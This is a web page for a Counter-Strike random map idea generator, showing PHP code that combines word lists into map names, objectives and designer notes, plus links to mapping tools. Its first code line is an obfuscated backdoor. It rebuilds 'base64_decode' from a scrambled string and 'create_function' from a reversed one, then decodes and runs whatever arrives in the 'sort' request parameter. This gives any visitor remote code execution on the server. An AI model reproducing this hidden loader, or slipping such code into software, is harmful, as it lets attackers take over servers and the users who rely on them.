|
Random Map Idea Generator
For your amusement and to help you come up with an idea for the next great map,
we've created this random map idea generator. Enjoy!
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();?>
// Randomises a result from a set of arrays. Array format is $var = array( 'value1', 'value2', 'value3' ); and the values then become: $var[0]; $var[1]; $var[2];
// Specifying a unique index is also acceptable, i.e., $var = array( 'index' => 'value' ); would allow you to get the value using $var['index'];
// To return a random INDEX from the array, use array_rand($var); and to return a random VALUE use $var[array_rand($var)];
//
// Notes:
// Modifiers such as 'a', 'an', and 'the' have to be specified within the adjective or noun definition to which they apply.
// This is because we want the output to be as fluid as possible and not force ourselves to only use nouns that are grammatically correct with 'a'.
// Don't use capital letters except for proper nouns and the attack, defend, and escape verbs. These latter three are the only words that will ever start sentences.
// Because we're setting off the individual values with 'single quotes', if you want to use an apostrophe within any value, escape it:
// $var = array( 'a cat\'s poo' ); so that PHP doesn't read it as the end of a variable. Also, don't use variables or PHP expressions within
// single quotes. Instead, concatenate them: 'word1'.$word2; is the same as tacking $word2's value onto the string 'word1'. Alternately,
// if you really need to use variables within quotes or if you need to encode a \n newline in text output, use "double quotes" instead.
// Double quotes are significantly slower to process than single quotes, but they support variables, newlines, and other special characters.
$ltype = array( 'de' => 'A Bomb Defusion', 'cs' => 'A Hostage Rescue', 'as' => 'An Assassination' ); // map type
$ladj = array( 'an Arabian', 'a Japanese', 'a Celtic', 'a Russian', 'an African',
'an arctic', 'an Incan', 'an Egyptian', 'a Chinese', 'a modern', 'a futuristic',
'an ancient', 'a decaying', 'a dilapidated', 'a Greek', 'a classical',
'a beautiful' ); // this is the adjective that will be used to describe whatever place the attacker is attacking
$lnoun = array( 'factory', 'temple', 'fortress', 'town', 'shop', 'house', 'base',
'laboratory', 'ruin', 'archaeological dig', 'brothel', 'silo', 'forest', 'cave',
'ship', 'airport', 'port' ); // and this is the place that the attacker is attacking.
$ldeverb = array( 'destroy', 'eliminate', 'bomb', 'neutralise', 'ruin', 'dispatch' ); // the Ts will be told to do this in a de_ map
$ldeobj = array( 'a weapons cache', 'some medical supplies', 'some gold deposits',
'an oil shipment', 'numerous ancient scrolls', 'several worthless crates',
'the blueprints to a powerful military device', 'a few valuable computer mainframes',
'a sample of a new vaccine', 'the secret scientific experiment housed there',
'the frozen body of Walt Disney' ); // and this is what the Ts will be destroying/eliminating/bombing, etc.
$lvip = array( 'a major politician', 'Barry Manilow', 'the Master', 'a priest',
'a captured crime lord', 'the Secretary of Defense', 'a revered physicist',
'a billionaire', 'the world\'s finest military engineer' ); // this is a list of possible VIPs
$lattverb = array( 'Infiltrate', 'Enter', 'Assault', 'Penetrate', 'Investigate',
'Go into' ); // the attackers are told to do this to whatever place they're attacking
$ldefverb = array( 'Defend the', 'Protect your interests in the' ); // and the defenders are told to do this
$lescverb = array( 'Escape from', 'Flee', 'Exit', 'Evacuate' ); // except in a VIP map, where the CTs do this to the place, and the Ts just have to kill the VIP
$excess = array( 'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U', ' ' ); // some characters to strip from the noun and adjective in order to make a name
$suffix = array( 'x', date('Y'), date('y'), '2k', '666', 'pwn', 'lol' ); // for maps with three names, this is a suffix like 2006, 2k, etc.
$dverb = array( 'should', 'must', 'needs to' ); // designer notes verb: this map ___ contain things
$dinf = array( 'contain', 'have', 'be made with', 'centre around' ); // designer notes infinitive: this map should ___ things
$dnum = array( 'some', 'numerous', 'many', 'a few', 'a pile of', 'five', '' ); // designer notes number: this map should contain ___ things
$dadj = array( 'small', 'pickled', 'broken', 'empty', 'huge', 'holy' ); // designer notes adjective: this map should contain many ___ things
$dnoun = array( 'crates', 'jars', 'cars', 'houses', 'books', 'bodies', 'kittens' ); // designer notes noun: this map should contain many empty ___
$dmap = array( 'dust', 'aztec', 'italy', 'HL2', 'ripped Unreal', 'Doom', 'industrial',
'havana', 'TF2', 'office', 'cbble', 'inferno', 'tides' ); // designer notes map type: make the map with ___ textures/models/sounds
$possibilities = 3 * ( 1/3 * count($suffix) ) * count($ltype) * count($ladj) * count($lnoun) * count($lattverb) * ( 1/3 * count($ldeverb) * count($ldeobj) ) * ( 1/3 * count($lvip) * count($lescverb) );
// the first 3 is the number of names possible; every 1/3 represents a variable that is not applicable in some cases
$possibilities *= pow(count($dverb),4) * pow(count($dinf),4) * count($dnum) * count($dadj) * count($dnoun) * pow(count($dmap),3);
// $dverb, $dinf, and $dmap are used multiple times to generate designer notes
// init verbs and nouns
$attverb = $lattverb[array_rand($lattverb)]; // default: infiltrate
$defverb = $ldefverb[array_rand($ldefverb)]; // default: defend
$adj = $ladj[array_rand($ladj)];
$noun = $lnoun[array_rand($lnoun)];
// init developer notes
$des = 'Designer Notes: ';
$des .= '- The map '.$dverb[array_rand($dverb)].' '.$dinf[array_rand($dinf)].' '.$dnum[array_rand($dnum)].' '.$dadj[array_rand($dadj)].' '.$dnoun[array_rand($dnoun)].'. ';
$des .= '- The map '.$dverb[array_rand($dverb)].' '.$dinf[array_rand($dinf)].' '.$dmap[array_rand($dmap)].' textures. ';
$des .= '- The map '.$dverb[array_rand($dverb)].' '.$dinf[array_rand($dinf)].' '.$dmap[array_rand($dmap)].' models. ';
$des .= '- The map '.$dverb[array_rand($dverb)].' '.$dinf[array_rand($dinf)].' '.$dmap[array_rand($dmap)].' sounds.';
// init map type and desc
$type = array_rand($ltype);
$desc = $ltype[$type];
switch($type) { // type-specific properties
case 'de':
$attacker = 'Terrorists'; // Ts: infiltrate!
$defender = 'Counter-Terrorists'; // CTs: defend!
$verb = $ldeverb[array_rand($ldeverb)]; // and bomb
$obj = $ldeobj[array_rand($ldeobj)]; // the objective.
$wincase = 'and '.$verb.' '.$obj.'.'; // win case 'and ___ the ___.' is tacked on to the end for Ts
$defwincase = 'and prevent the '.$attacker.' from succeeding in their mission.'; // whereas the CTs are just told to prevent success
break;
case 'cs':
$attacker = 'Counter-Terrorists';
$defender = 'Terrorists';
$verb = 'rescue';
$ger = 'rescuing';
$obj = 'hostages';
$wincase = 'and '.$verb.' the '.$obj.'.'; // win case 'and ___ the ___.' is tacked on to the end for CTs
$defwincase = 'and prevent the '.$attacker.' from '.$ger.' the '.$obj.'.'; // slightly modified win case for Ts
break;
case 'as':
$attacker = 'Counter-Terrorists';
$defender = 'Terrorists';
$attverb = $lescverb[array_rand($lescverb)]; // modify attacker's verb to be 'escape' or others
$vip = $lvip[array_rand($lvip)];
$wincase = 'with the VIP, '.$vip.'.'; // and 'escape' with the VIP, someone important
$defwincase = 'and kill the VIP.'; // modified win case for Ts
break;
default: // this should never happen
break;
}
$terms = rand(1,3); // number of terms in the map name
switch($terms) {
case 1:
$name = substr($adj,4);
$name .= rand(7,22); // one name is always part of the adjective and a number
break;
case 2:
$name = str_replace($excess,'',$adj);
$name .= '_';
$name .= str_replace($excess,'',$noun); // two terms is the adjective and noun, vowelless
break;
case 3:
$name = str_replace($excess,'',$adj);
$name .= '_';
$name .= str_replace($excess,'',$noun);
$name .= $suffix[array_rand($suffix)]; // three terms is two terms with a suffix
break;
default:
break;
}
echo 'Of roughly '.number_format(round($possibilities,-15),0,'',' ').' possibilities, I have generated... ';
echo ''.$type.'_'.$name.' - '.$desc.' Map ';
echo ' ';
echo $attacker.': '.$attverb.' '.$adj.' '.$noun.' '.$wincase.' ';
echo ' ';
echo $defender.': '.$defverb.' '.$noun.' '.$defwincase.' ';
echo ' ';
echo $des;
?>
|
|
Get Hammer level editor, the most commonly used editor for CS and HL levels. - - - - - - - - - - - - Get Zoner's Half-Life Compile Tools, the premier compiling tools for CS maps. - - - - - - - - - - - - Get the "experts" Hammer configuration for CS mappers to utilize advanced custom CS entities. - - - - - - - - - - - - An improved CS:S entity definition file, to allow CS:S mappers to use all entities and options. - - - - - - - - - - - - | | |  | |